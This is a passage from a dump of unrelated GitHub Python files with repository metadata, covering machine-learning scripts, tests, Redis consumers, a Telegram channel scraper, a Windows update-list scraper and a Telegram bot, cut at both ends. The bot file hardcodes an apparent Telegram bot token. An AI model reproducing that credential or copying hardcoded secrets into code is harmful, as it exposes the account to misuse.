== \"\":\n should_add_context = False\n for context in observable.context:\n if context[\"source\"] == \"whois\":\n break\n else:\n should_add_context = True\n context = {\"source\": \"whois\"}\n\n data = DomainToolsApi.get(\n \"/{}/whois/parsed\".format(observable.value), results.settings\n )\n results.update(raw=json.dumps(data, indent=2))\n context[\"raw\"] = data[\"response\"][\"whois\"]\n\n if isinstance(observable, Hostname):\n links = DTWhois.analyze_domain(observable, data)\n else:\n links = DTWhois.analyze_ip(observable, data)\n\n if should_add_context:\n observable.add_context(context)\n else:\n observable.save()\n\n print(links)\n\n return links\n","repo_name":"yeti-platform/yeti","sub_path":"plugins/analytics/public/domain_tools.py","file_name":"domain_tools.py","file_ext":"py","file_size_in_byte":9192,"program_lang":"python","lang":"en","doc_type":"code","stars":1485,"dataset":"github-code","pt":"21"} +{"seq_id":"20053788911","text":"import pytest\n\n\nfrom truck import Truck\n\ndef test_apply_brakes_when_truck_object_is_in_motion_returns_current_speed(truck):\n # Arrange\n truck.start_engine()\n truck.accelerate()\n truck.accelerate()\n current_speed = 70\n\n # Act\n truck.apply_brakes()\n\n # Assert\n assert truck.current_speed == current_speed\n\n@pytest.mark.parametrize(\n \"\"\"color, max_speed, acceleration, tyre_friction,\n max_cargo_weight, current_speed\"\"\", [\n ('Red', 200, 50, 20, 180, 30), ('Blue', 150, 25, 25, 100, 0),\n ('Black', 250, 20, 30, 100, 0)])\ndef test_apply_breaks_when_truck_object_current_speed_is_more_than_or_equal_to_truck_object_tyre_friction_returns_current_speed(color, max_speed, acceleration, tyre_friction, max_cargo_weight, current_speed):\n # Arrange\n truck = Truck(color=color, max_speed=max_speed, acceleration=acceleration,\n tyre_friction=tyre_friction,\n max_cargo_weight=max_cargo_weight)\n truck.start_engine()\n truck.accelerate()\n\n # Act\n truck.apply_brakes()\n\n # Assert\n assert truck.current_speed == current_speed\n\ndef test_apply_breaks_when_truck_object_current_speed_is_less_than_truck_object_tyre_friction_returns_zero():\n # Arrange\n truck = Truck(color='Red', max_speed=200, acceleration=40,\n tyre_friction=15, max_cargo_weight=80)\n truck.start_engine()\n truck.accelerate()\n current_speed_when_less_than_tyre_friction = 0\n\n # Act\n truck.apply_brakes()\n truck.apply_brakes()\n truck.apply_brakes()\n\n # Assert\n assert truck.current_speed == current_speed_when_less_than_tyre_friction\n\ndef test_apply_breaks_when_truck_object_current_speed_is_equal_to_truck_object_tyre_friction_returns_current_speed():\n # Arrange\n truck = Truck(color='Red', max_speed=200, acceleration=40,\n tyre_friction=10, max_cargo_weight=90)\n truck.start_engine()\n truck.accelerate()\n current_speed = 10\n\n # Act\n truck.apply_brakes()\n truck.apply_brakes()\n truck.apply_brakes()\n\n # Assert\n assert truck.current_speed == current_speed\n","repo_name":"GVK289/aws_folders","sub_path":"clean_code/clean_code_submissions/clean_code_assignment_002/tests/test_truck_apply_breaks.py","file_name":"test_truck_apply_breaks.py","file_ext":"py","file_size_in_byte":2105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30391426629","text":"import sklearn as sk\nimport numpy as np\nimport h5py\nfrom sklearn.ensemble import RandomForestClassifier, GradientBoostingClassifier\nfrom sklearn.model_selection import GridSearchCV\nimport xgboost as xgb\nfrom xgboost.sklearn import XGBClassifier\nfrom sklearn.metrics import classification_report, accuracy_score\nfrom sklearn.svm import SVC\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn.linear_model import LogisticRegression\nimport os\nimport sys\n\nsys.path.insert(1, os.path.join(sys.path[0], '../utils'))\nfrom utilities import calculate_accuracy\nimport numpy as np\n\n\ndef prepare_data(datatype):\n workspace = \"/home/ccyoung/Downloads/dcase2018_task1-master\"\n truncation_dir = os.path.join(workspace, 'features', 'truncation',\n 'holdout_fold={}'.format(1))\n if datatype == 'train':\n hf = h5py.File(os.path.join(truncation_dir, 'train_hpss_6800.h5'), 'r')\n features = hf['feature'][:]\n targets = hf['target'][:]\n return features, np.argmax(targets, axis=-1)\n elif datatype == 'validate':\n hf = h5py.File(os.path.join(truncation_dir, 'validate_hpss_6800.h5'), 'r')\n features = hf['feature'][:]\n targets = hf['target'][:]\n return features, np.argmax(targets, axis=-1)\n\n\ndef stack_one_stage():\n ## 1, 准备数据\n '''创建训练的数据集'''\n X, y = prepare_data('train')\n X_predict, y_predict = prepare_data('validate')\n print(y_predict.shape)\n # y = np.argmax(y, axis=-1)\n # y_predict = np.argmax(y_predict, axis=-1)\n\n ## 2.定义K个第一阶段的模型\n '''模型融合中使用到的各个单模型'''\n clfs = [\n RandomForestClassifier(n_estimators=390, random_state=10, n_jobs=4,\n max_features=1, min_samples_leaf=1, max_depth=13, ),\n SVC(C=0.6, gamma=1e-4, random_state=10)]\n ## 3. 保存第一阶段模型所有输出 shape=(预测的样本数,多个模型的预测)作为第二阶段的特征输入\n dataset_blend_train = np.zeros((X.shape[0], len(clfs)))\n dataset_blend_test = np.zeros((X_predict.shape[0], len(clfs)))\n print(dataset_blend_train.shape)\n print(dataset_blend_test.shape)\n # 4. 第一阶段训练:对每个模型分别做交叉验证训练,并汇总所有预测结果作为新的特征\n '''5折stacking'''\n n_folds = 5\n skf = StratifiedKFold(n_folds)\n for j, clf in enumerate(clfs):\n\n dataset_blend_test_j = np.zeros((X_predict.shape[0], n_folds)) # 汇总交叉验证的结果\n\n ##交叉验证训练\n for i, (train, test) in enumerate(skf.split(X, y)): # 遍历每一折数据 train,test均为索引\n '''使用第i个部分作为预测,剩余的部分来训练模型,获得其预测的输出作为第i部分的新特征。'''\n print(\"Fold\", i)\n X_train, y_train, X_test, y_test = X[train], y[train], X[test], y[test]\n clf.fit(X_train, y_train)\n y_submission = clf.predict(X_test)\n dataset_blend_train[test, j] = y_submission # 保存每个模型K折预测结果\n dataset_blend_test_j[:, i] = clf.predict(X_predict)\n '''对于测试集,直接用这k个模型的预测值均值作为新的特征。'''\n dataset_blend_test[:, j] = dataset_blend_test_j.mean(1) # 平均每一折结果\n # print(\"auc Score: %f\" % calculate_accuracy(np.argmax(y_predict, axis=-1), dataset_blend_test[:, j], classes_num=10,\n # average='macro'))\n\n ##5. 第二阶段的训练 使用新的模型训练 得到第一阶段生成的新训练集再次训练,并使用新测试集再次预测\n np.save('data.npz', dataset_blend_train)\n np.save('label.npz', dataset_blend_test)\n\n\ndef stack_two_stage():\n X, y = prepare_data('train')\n X_predict, y_predict = prepare_data('validate')\n dataset_blend_train = np.load('data.npz.npy')\n dataset_blend_test = np.load('label.npz.npy')\n\n clf = GradientBoostingClassifier(learning_rate=0.005,subsample=0.8,random_state=10,n_estimators=600)\n clf.fit(dataset_blend_train, y)\n y_submission = clf.predict(dataset_blend_test)\n\n # print(\"Linear stretch of predictions to [0,1]\")\n # y_submission = (y_submission - y_submission.min()) / (y_submission.max() - y_submission.min())\n print(\"blend result\")\n print(\"auc Score: %f\" % (\n calculate_accuracy(y_predict, y_submission, classes_num=10, average='macro')))\n\n\nif __name__ == '__main__':\n stack_two_stage()\n","repo_name":"rongxuanhong/task1","sub_path":"keras/classifier_fusion.py","file_name":"classifier_fusion.py","file_ext":"py","file_size_in_byte":4549,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"3538568884","text":"# -*- coding: utf-8 -*-\r\nimport tensorflow as tf\r\nimport os\r\n\r\n# 生成整数型的属性\r\ndef _int64_feature(value):\r\n return tf.train.Feature(int64_list=tf.train.Int64List(value=[value]))\r\n\r\nnum_shards = 2\r\ninstance_per_shard = 10\r\n\r\nfor i in range(num_shards):\r\n filename = 'model/data.tfrecord-%.5d-of%.5d' %(i,num_shards)\r\n writer = tf.python_io.TFRecordWriter(filename)\r\n for j in range(instance_per_shard):\r\n example = tf.train.Example(features=tf.train.Features(feature={\r\n 'i':_int64_feature(i),\r\n 'j':_int64_feature(j)\r\n }))\r\n writer.write(example.SerializeToString())\r\n writer.close()\r\n\r\n\r\ntf_record_pattern = os.path.join( 'model/', 'data.tfrecord-*' )\r\ndata_files = tf.gfile.Glob( tf_record_pattern )\r\nfilename_quene = tf.train.string_input_producer(data_files,shuffle=False)\r\n\r\nreader = tf.TFRecordReader()\r\n_, serialized_example = reader.read(filename_quene)\r\n\r\nfeatures = tf.parse_single_example(serialized_example,features={\r\n 'i': tf.FixedLenFeature([],tf.int64),\r\n 'j': tf.FixedLenFeature( [], tf.int64),\r\n})\r\n\r\nwith tf.Session() as sess:\r\n tf.global_variables_initializer().run()\r\n coord = tf.train.Coordinator()\r\n threads = tf.train.start_queue_runners(sess = sess, coord = coord)\r\n for i in range(15):\r\n print(sess.run([features['i'],features['j']]))\r\n\r\n coord.request_stop()\r\n coord.join(threads)","repo_name":"WanJunCode/tensorflow","sub_path":"第七章/new/写入数据.py","file_name":"写入数据.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26950120387","text":"import numpy as np\nimport PIL.Image\nfrom matplotlib import pyplot as plt\n\ndef gaussian_mix():\n K = 3\n \n my = 0.5 * np.ones((288, 384, K, 3))\n #my = my / np.linalg.norm(my)\n\n sigma_squared = 0.05 * np.ones((288, 384, K, 3))\n #sigma_squared = sigma_squared / np.linalg.norm(sigma_squared[0, 0, :, :])\n sigma_init_squared = np.array((0.05, 0.05, 0.05))\n \n w = np.ones((288, 384, K))\n w = w / K\n w_init = 1.0/K\n \n lamb = 3.0\n T = 0.8\n alpha = 1.0/600.0\n\n B_hat = np.zeros((288, 384))\n B = np.zeros((288, 384))\n \n for f in range(20, 50):\n print(f)\n file_name = '../../frames2/Walk1{:03d}.jpg'.format(f)\n frame = np.asarray(PIL.Image.open(file_name))\n frame = frame / 255.0\n \n c = np.zeros(K)\n p = np.zeros((288, 384, K))\n\n for x in range(frame.shape[0]):\n for y in range(frame.shape[1]):\n match = False\n for k in range(K):\n dk_squared = np.sum(np.power(frame[x, y, :] - my[x, y, k, :], 2) / sigma_squared[x, y, k, :])\n\n if np.sqrt(dk_squared) < lamb: \n if not match:\n m = k\n elif w[x, y, k]/np.sqrt(np.linalg.norm(sigma_squared[x, y, k])) > (w[x, y, m]/np.sqrt(np.linalg.norm(sigma_squared[x, y, m]))):\n m = k\n \n match = True\n \n if not match:\n m = K - 1\n w[x, y, m] = w_init\n my[x, y, m] = frame[x,y]\n sigma_squared[x, y, m] = sigma_init_squared\n else:\n w[x, y, m] = (1 - alpha)*w[x, y, m] + alpha\n p[x, y, m] = alpha / w[x, y, m]\n my[x, y, m] = (1-p[x, y, m])*my[x, y, m] + p[x, y, m]*frame[x,y]\n sigma_squared[x, y, m] = (1-p[x, y, m])*sigma_squared[x, y, m] + np.multiply((p[x, y, m]*(frame[x,y]-my[x, y, m])), (frame[x,y] - my[x, y, m]))\n\n w[x, y, :] = w[x, y, :] / np.sum(w[x, y, :])\n\n for k in range(K):\n c[k] = w[x, y, k]/np.sqrt(np.linalg.norm(sigma_squared[x, y, k]))\n\n if match:\n #print(c)\n indices = np.argsort(-c)\n #print(indices)\n w[x, y] = w[x, y, indices]\n my[x, y] = my[x, y, indices]\n sigma_squared[x, y] = sigma_squared[x, y, indices]\n \n i = 0\n\n for i in range(K):\n if np.sum(w[x, y, 0:i]) > T:\n #print(\"BREAK\")\n break\n \n B[x, y] = i #???\n #print(i)\n\n for x in range(frame.shape[0]):\n for y in range(frame.shape[1]):\n B_hat[x, y] = 0\n for k in range(int(B[x, y])):\n dk_squared = np.sum(np.power(frame[x, y, :] - my[x, y, k, :], 2) / sigma_squared[x, y, k, :])\n \n if np.sqrt(dk_squared) < lamb:\n B_hat[x,y] = 1\n plt.figure(f)\n plt.imshow(B_hat, cmap=\"gray\")\n\n plt.show()\n\n return B_hat\n\ngaussian_mix()","repo_name":"johanforslund/background-modelling","sub_path":"bg_modelling/gmm/gaussian_mix.py","file_name":"gaussian_mix.py","file_ext":"py","file_size_in_byte":3372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72416692853","text":"\"\"\"\nThis script is responsible for processing payment and inventory related messages from Redis streams.\n\"\"\"\n\nfrom inventory.main import redis\nimport time\n\n\n# Payment consumer setup\npayment_key = 'refund_order'\npayment_group = 'payment-group'\npayment_consumer = 'payment-consumer'\n\n# Inventory consumer setup\ninventory_key = 'order_completed'\ninventory_group = 'inventory-group'\ninventory_consumer = 'inventory-consumer'\n\n\ndef create_group(stream_key, group_name):\n \"\"\"\n Create a consumer group for a given stream.\n\n Args:\n stream_key (str): The Redis stream key.\n group_name (str): The name of the consumer group.\n\n Returns:\n None\n \"\"\"\n try:\n redis.xgroup_create(stream_key, group_name, mkstream=True)\n except Exception as e:\n if \"BUSYGROUP\" not in str(e):\n print(f\"Error creating group: {str(e)}\")\n else:\n print('Group already exists!')\n\n\ncreate_group(payment_key, payment_group)\ncreate_group(inventory_key, inventory_group)\n\n\ndef read_stream(group, consumer, key):\n \"\"\"\n Read messages from a Redis stream.\n\n Args:\n group (str): The name of the consumer group.\n consumer (str): The name of the consumer.\n key (str): The Redis stream key.\n\n Returns:\n list: A list of tuples, where each tuple represents a message.\n \"\"\"\n while True:\n try:\n return redis.xreadgroup(group, consumer, streams={key: '>'}, count=1)\n except Exception as e:\n print(f\"Error reading stream: {str(e)}\")\n time.sleep(1)\n\n\ndef process_payment(results):\n \"\"\"\n Process payment messages from the Redis stream.\n\n Args:\n results (list): A list of tuples, where each tuple represents a message.\n\n Returns:\n None\n \"\"\"\n if not results:\n return\n\n for result in results:\n obj = result[1][0][1]\n try:\n order_pk = obj['pk']\n order_key = f':payment.main.Order:{order_pk}'\n order_data = redis.hgetall(order_key)\n if order_data:\n redis.hmset(order_key, {\"status\": str(\"refunded\").encode()})\n print(f\"Refunded order: {obj['pk']}\")\n redis.xack(payment_key, payment_group, result[1][0][0])\n except Exception as e:\n print(f\"Error refunding order: {str(e)}\")\n\n\ndef process_inventory(results):\n \"\"\"\n Process inventory messages from the Redis stream.\n\n Args:\n results (list): A list of tuples, where each tuple represents a message.\n\n Returns:\n None\n \"\"\"\n if not results:\n return\n\n for result in results:\n obj = result[1][0][1]\n product_id = obj['product_id']\n product_key = f':inventory.main.Product:{product_id}'\n product_data = redis.hgetall(product_key)\n if product_data:\n quantity = int(obj['quantity'])\n product_quantity = int(product_data['quantity'])\n if product_quantity >= quantity:\n redis.hmset(product_key, {'quantity': str(product_quantity - quantity).encode()})\n print(f\"Updated product: {product_id}\")\n redis.xack(inventory_key, inventory_group, result[1][0][0])\n else:\n print(f\"Insufficient inventory for product: {product_id}\")\n redis.xadd('refund_order', obj, '*')\n else:\n print(f\"Product not found with ID: {product_id}\")\n redis.xadd('refund_order', obj, '*')\n\n\nwhile True:\n payment_results = read_stream(payment_group, payment_consumer, payment_key)\n process_payment(payment_results)\n\n inventory_results = read_stream(inventory_group, inventory_consumer, inventory_key)\n process_inventory(inventory_results)\n\n time.sleep(1)\n\n\n# This script has two main functions: `process_payment` and `process_inventory` that process payment\n# and inventory related messages from Redis streams respectively. The `create_group` function is used\n# to create a consumer group for a given stream. The `read_stream` function is used to read messages\n# from a Redis stream.\n#\n# The script has the following variables:\n# - `payment_key`: the key of the Redis stream where payment messages are sent.\n# - `payment_group`: the name of the consumer group for payment messages.\n# - `payment_consumer`: the name of the payment consumer.\n# - `inventory_key`: the key of the Redis stream where inventory messages are sent.\n# - `inventory_group`: the name of the consumer group for inventory messages.\n# - `inventory_consumer`: the name of the inventory consumer.\n#\n# The `process_payment` function processes payment messages from the Redis stream. It loops through each message in\n# the `results` list and refunds the corresponding order by setting its status to \"refunded\" in Redis. It then\n# acknowledges the message by calling `redis.xack`.\n#\n# The `process_inventory` function processes inventory messages from the Redis stream. It loops through each message\n# in the `results` list and updates the corresponding product's quantity in Redis if there is sufficient inventory.\n# If there is not enough inventory, it adds the message to the `refund_order` stream by calling `redis.xadd`.\n#\n# The `read_stream` function continuously reads messages from a Redis stream. It returns a list of tuples,\n# where each tuple represents a message. The `while` loop at the end of the script continuously reads payment and\n# inventory messages from their respective streams using the `read_stream` function, and processes them using the\n# `process_payment` and `process_inventory` functions, respectively. It then sleeps for 1 second before starting\n# the loop again.\n","repo_name":"MaksimKisliak/FastAPI-services","sub_path":"consumer_managers.py","file_name":"consumer_managers.py","file_ext":"py","file_size_in_byte":5676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42497268597","text":"# Sébastien Touzé\n# Script for Advent Of Code 2021\n# DAY 07\n\ndef load_file(filename):\n file = open(filename)\n\n positions = file.readline().split(',')\n positions = list(map(int, positions))\n\n pos_min = min(positions)\n pos_max = max(positions)\n\n return positions, pos_min, pos_max\n\n\ndef do_part1(filename):\n positions, pos_min, pos_max = load_file(filename)\n\n # this variable will store the end values : optimum position, fuel used. Initialized with fuel big enough so that\n # first run with pos_min must be better\n optimum = [pos_min, sum(positions)]\n for optimum_candidate in range(pos_min, pos_max + 1):\n dist_total = 0\n for i in range(len(positions)):\n dist_total += abs(positions[i] - optimum_candidate)\n if dist_total < optimum[1]:\n optimum = [optimum_candidate, dist_total]\n\n print(optimum)\n\n\ndef do_part2(filename):\n positions, pos_min, pos_max = load_file(filename)\n\n optimum = [pos_min, pow(sum(positions) + 1, 2)]\n for optimum_candidate in range(pos_min, pos_max + 1):\n dist_total = 0\n for i in range(len(positions)):\n dist = abs(positions[i] - optimum_candidate)\n dist_total += dist * (1 + dist) / 2 # Arithmetic sum\n if dist_total < optimum[1]:\n optimum = [optimum_candidate, dist_total]\n\n print(optimum)\n\n\nprint(\"### Part 1 ###\")\ndo_part1('data/day7input')\n\nprint(\"### Part 2 ###\")\ndo_part2('data/day7example')\ndo_part2('data/day7input')\n\n\n","repo_name":"SebastienTouze/advent_of_code_2021","sub_path":"day7.py","file_name":"day7.py","file_ext":"py","file_size_in_byte":1500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43529112331","text":"from sklearn.ensemble import RandomForestClassifier\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\nfrom Utilities.LargeDataProcessing.Sampling import sample_patches\nfrom eolearn.core import FeatureType\nimport lightgbm as lgb\nfrom sklearn.metrics import accuracy_score, f1_score, confusion_matrix, plot_confusion_matrix\nfrom sklearn.linear_model import LogisticRegression\nimport time\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\nimport scipy.cluster.hierarchy as sch\nfrom sklearn import tree\nfrom streamdm import HoeffdingTree, HoeffdingAdaptiveTree, NaiveBayes, LogisticRegression, MajorityClass, Perceptron, \\\n Bagging\nfrom .classification_comparison import get_data, fit_predict, class_names\n\nmethods = [\n #{\n # 'name': 'Decision Tree (scikit-learn)',\n # 'ctor': DecisionTreeClassifier,\n # 'params': {}\n #},\n {\n 'name': 'Hoeffding Tree (streamDM)',\n 'ctor': HoeffdingTree,\n 'params': {\n 'max_byte_size': 33554432,\n 'memory_estimate_period': 1000000,\n 'grace_period': 200,\n 'split_confidence': 0.0000001,\n 'tie_threshold': 0.05,\n 'binary_splits': False,\n 'stop_mem_management': False,\n 'remove_poor_atts': False,\n 'leaf_learner': 'NB',\n 'bb_threshold': 0,\n 'tree_property_index_list': \"\",\n 'no_pre_prune': False\n }\n },\n {\n 'name': 'Hoeffding Adaptive Tree (streamDM)',\n 'ctor': HoeffdingAdaptiveTree,\n 'params': {\n 'max_byte_size': 33554432,\n 'memory_estimate_period': 1000000,\n 'grace_period': 200,\n 'split_confidence': 0.0000001,\n 'tie_threshold': 0.05,\n 'binary_splits': False,\n 'stop_mem_management': False,\n 'remove_poor_atts': False,\n 'leaf_learner': 'NB',\n 'bb_threshold': 0,\n 'tree_property_index_list': \"\",\n 'no_pre_prune': False\n }\n },\n {\n 'name': 'Bagging (streamDM)',\n 'ctor': Bagging,\n 'params': {\n 'ensemble_size': 10,\n 'learner': {\n 'name': 'HoeffdingTree',\n 'max_byte_size': 33554432,\n 'memory_estimate_period': 1000000,\n 'grace_period': 200,\n 'split_confidence': 0.0000001,\n 'tie_threshold': 0.05,\n 'binary_splits': False,\n 'stop_mem_management': False,\n 'remove_poor_atts': False,\n 'leaf_learner': 'NB',\n 'bb_threshold': 0,\n 'tree_property_index_list': \"\",\n 'no_pre_prune': False\n }\n }\n },\n {\n 'name': 'Naive Bayes (streamDM)',\n 'ctor': NaiveBayes,\n 'params': {}\n },\n {\n 'name': 'Logistic Regression (streamDM)',\n 'ctor': LogisticRegression,\n 'params': {\n 'learning_ratio': 0.01,\n 'lambda': 0.0001\n }\n },\n {\n 'name': 'Perceptron (streamDM)',\n 'ctor': Perceptron,\n 'params': {\n 'learning_ratio': 1.0\n }\n },\n {\n 'name': 'Majority Class (streamDM)',\n 'ctor': MajorityClass,\n 'params': {}\n }\n]\n\nif __name__ == '__main__':\n\n # x, y = get_data('../Utilities/LargeDataProcessing/Samples/enriched_samples9797.csv')\n x, y = get_data('/home/beno/Documents/IJS/Perceptive-Sentinel/enriched_samples10000.csv')\n\n for method in methods:\n learner = method['ctor']()\n learner.set_params(**method['params'])\n fit_predict(x, y, learner, class_names, method['name'])\n","repo_name":"E3-JSI-archive/PerceptiveSentinel","sub_path":"Classification/stream_comparison.py","file_name":"stream_comparison.py","file_ext":"py","file_size_in_byte":3810,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"32004194694","text":"from telethon.tl.types import MessageEntityTextUrl\nfrom glob import glob\nfrom dateutil.relativedelta import relativedelta # pip3 install python-dateutil\n\nimport datetime\nimport os\n\n\ndef get_channel_id(client, link): # получение ID канала\n m = client.get_messages(link, limit=1)\n channel_id = m[0].peer_id.channel_id\n return str(channel_id)\n\n\ndef clearify_text(msg): # очищение текста от символов гиперссылки\n text = msg.message\n text_splitted = text.split()\n text_listed = [word for word in text_splitted if word != ' ']\n return \" \".join(text_listed)\n\n\ndef get_message_content(client, msg, url, channel_name, directory_name): # получение содержимого сообщения\n msg_date = str(msg.date) # дата отправки сообщения\n msg_url = url + '/' + str(msg.id) # каст ссылки на сообщение\n file = open(f\"{channel_name}/{directory_name}/{directory_name}_meta.txt\", 'a+') # запись метаданных сообщения\n file.write(msg_url)\n file.write('\\n' + msg_date)\n file.close()\n if msg.message: # если сообщение содержит текст, запись этого текста в текстовый файл в папке сообщения\n text = clearify_text(msg=msg)\n file = open(f\"{channel_name}/{directory_name}/{directory_name}.txt\", \"w\")\n file.write(text)\n file.close()\n if msg.media: # если сообщение содержит медиа (фото, видео, документы, файлы), загрузка медиа в папку сообщения\n client.download_media(message=msg, file=f\"{channel_name}/{directory_name}\")\n if msg.entities: # запись гиперссылок из текста сообщения в файл сообщения\n urls = [ent.url for ent in msg.entities if isinstance(ent, MessageEntityTextUrl)]\n file = open(f\"{channel_name}/{directory_name}/{directory_name}.txt\", mode='a+')\n for u in urls:\n file.write('\\n' + u)\n file.close()\n\n\ndef find_last_parsed_date(path): # определение даты, с которой начинать парсинг\n paths = glob(f\"{path}/*/*meta.txt\", recursive=True) # поиск существующих метаданных по уже собранным сообщениям\n oldest = datetime.datetime.strptime(\"1970-01-01 00:00:00+00:00\", \"%Y-%m-%d %H:%M:%S%z\")\n temp = oldest\n for p in paths: # поиск даты отправки последнего сообщения\n with open(p, 'r') as file:\n date = datetime.datetime.strptime(file.readlines()[-1], \"%Y-%m-%d %H:%M:%S%z\")\n if date > oldest:\n oldest = date\n if temp == oldest:\n oldest = datetime.datetime.now() - relativedelta(months=3) # если сообщений нет, офсет устанавливается на\n # три месяца от текущей даты\n return oldest\n\n\ndef parse(client, url): # сбор сообщений из канала\n err = [] # переменная возможной ошибки\n channel_id = get_channel_id(client, url) # получение ID канала\n os.makedirs(channel_id, exist_ok=True) # создание папки канала в текущей директории\n oldest = find_last_parsed_date(channel_id) # получение даты, с которой начинать парсинг\n for message in client.iter_messages(url, reverse=True, offset_date=oldest): # итератор по сообщениям (урл - ссылка\n # на канал, реверс - итерация от старых\n # к новым, офсет - дата с которой\n # начинать парсинг\n try:\n directory_name = str(message.id) # получение ID сообщения\n os.makedirs(f\"{channel_id}/{directory_name}\", exist_ok=True) # создание папки сообщения\n get_message_content(client, message, url, channel_id, directory_name) # обработка сообщения\n\n except Exception as passing: # обработка ошибок\n err.append(passing)\n continue\n return err # возврат возможных ошибок\n","repo_name":"mmat16/telegram_channel_parser","sub_path":"parser_functions.py","file_name":"parser_functions.py","file_ext":"py","file_size_in_byte":4721,"program_lang":"python","lang":"ru","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"} +{"seq_id":"9981011369","text":"#!/usr/bin/env python3\n\nimport argparse\nimport json\nimport requests\nimport sys\nfrom datetime import datetime\n\nSUPPORTED_BUILDS = {\n 6002: 'https://support.microsoft.com/en-us/help/4343218', # 2008 SP2\n 7601: 'https://support.microsoft.com/en-us/help/4009469', # 7 / 2008R2 SP1\n 9200: 'https://support.microsoft.com/en-us/help/4009471', # 2012\n 9600: 'https://support.microsoft.com/en-us/help/4009470', # 8.1 / 2012R2\n 10240: 'https://support.microsoft.com/en-us/help/4000823', # Windows 10 1507 \"RTM\" \"Threshold 1\"\n 10586: 'https://support.microsoft.com/en-us/help/4000824', # Windows 10 1511 \"November Update\" \"Threshold 2\"\n 14393: 'https://support.microsoft.com/en-us/help/4000825', # Windows 10 1607 \"Anniversary Update\" \"Redstone 1\" / Server 2016\n 15063: 'https://support.microsoft.com/en-us/help/4018124', # Windows 10 1703 \"Creators Update\" \"Redstone 2\"\n 16299: 'https://support.microsoft.com/en-us/help/4043454', # Windows 10 1709 \"Fall Creators Update\" \"Redstone 3\"\n 17134: 'https://support.microsoft.com/en-us/help/4099479', # Windows 10 1803 \"Redstone 4\"\n 17763: 'https://support.microsoft.com/en-us/help/4464619', # Windows 10 1809 \"Redstone 5\" / Server 2019\n}\nBEGIN_MARKER = '\"minorVersions\":'\nEND_MARKER = ']\\n'\nDATE_FORMAT = '%Y-%m-%dT%H:%M:%S'\n\n# Updates types and whether they are cumulative or not\nUPDATE_TYPES = {\n '': False, # legacy discontinued non-cumulative updates\n 'security-only update': False,\n 'monthly rollup': True,\n 'os build monthly rollup': True,\n 'preview of monthly rollup': True,\n}\n\ndef fetch_security_updates(url):\n html = requests.get(url).text\n html = html.replace('\\r\\n', '\\n')\n json_begin = html.find(BEGIN_MARKER)\n if json_begin == -1:\n sys.stderr.write('Unable to find marker {} in {}\\n'.format(\n BEGIN_MARKER, url))\n sys.exit(1)\n json_begin += len(BEGIN_MARKER)\n json_end = html.find(END_MARKER, json_begin)\n if json_end == -1:\n sys.stderr.write('Unable to find marker {} in {}\\n'.format(\n END_MARKER, url))\n sys.exit(1)\n json_end += len(END_MARKER)\n updates_json = html[json_begin:json_end]\n updates_json = json.loads(updates_json)\n updates = []\n for update in updates_json:\n if not set(('releaseVersion','id','releaseDate')).issubset(set(update.keys())):\n sys.stderr.write('Can\\'t handle updates without id/releaseVersion/releaseDate\\n')\n sys.exit(1)\n update_type = update['releaseVersion'].lower().strip()\n if 'os build' in update_type: # new >= 10.0 updates type name format, they are all cumulative\n update_type = 'monthly rollup'\n if update_type not in UPDATE_TYPES:\n sys.stderr.write('Update with unknown releaseVersion \"{}\"\\n'.format(\n update['releaseVersion']))\n sys.stderr.write('\\n' + str(update) + '\\n')\n sys.exit(1)\n is_cumulative = UPDATE_TYPES[update_type]\n date = datetime.strptime(update['releaseDate'], DATE_FORMAT).date()\n updates.append((date, is_cumulative, update['id']))\n updates.sort(key=lambda x: x[0])\n return updates\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--csv', type=argparse.FileType('w'), default=None)\n parser.add_argument('--sql', type=argparse.FileType('w'), default=None)\n args = parser.parse_args()\n if args.sql is None and args.csv is None:\n args.csv = sys.stdout\n if args.csv is not None:\n args.csv.write('build_number\\tis_cumulative\\tpublish_date\\tkb_id\\n')\n for build, url in SUPPORTED_BUILDS.items():\n updates = fetch_security_updates(url)\n for (date, is_cumulative, kb) in updates:\n args.csv.write('{}\\t{}\\t{}/{}/{}\\t{}\\n'.format(build,\n (\"1\" if is_cumulative else \"0\"),\n date.year, date.month, date.day, kb))\n if args.sql is not None:\n args.sql.write('\\n')\n args.sql.write('''CREATE TABLE [kb_list](\n [build] [int] NOT NULL,\n [cumulative] [bit] NOT NULL,\n\t [id] [varchar](255) NOT NULL,\n\t [date] [date] NOT NULL)\\n''')\n args.sql.write('INSERT INTO [kb_list] VALUES ')\n sql = []\n for build, url in SUPPORTED_BUILDS.items():\n updates = fetch_security_updates(url)\n for (date, is_cumulative, kb) in updates:\n sql.append(\"({},{},'KB{}','{}-{}-{}')\".format(\n build, (1 if is_cumulative else 0), kb,\n date.year, date.month, date.day))\n args.sql.write(',\\n '.join(sql) + ';')\n\n","repo_name":"mtth-bfft/kblist","sub_path":"kblist.py","file_name":"kblist.py","file_ext":"py","file_size_in_byte":4635,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"71958617334","text":"from django.shortcuts import render, get_object_or_404, reverse\nfrom django.template.loader import render_to_string\nfrom django.http import HttpResponse, Http404, HttpResponseForbidden, HttpResponseBadRequest, JsonResponse\nfrom .parser import parse_intercept_rss\nfrom django.views.generic import View\n\nimport telepot\n\nTOKEN = '605347574:AAFLA9YzWE7JnPxK31uCOESsv7X9OSoacrI'\t# temporary token key for my bot\n\nAlekiBot = telepot.Bot(TOKEN)\n\ndef display_help():\n\treturn render_to_string('help.md')\n\ndef display_intercept_feed():\n\treturn 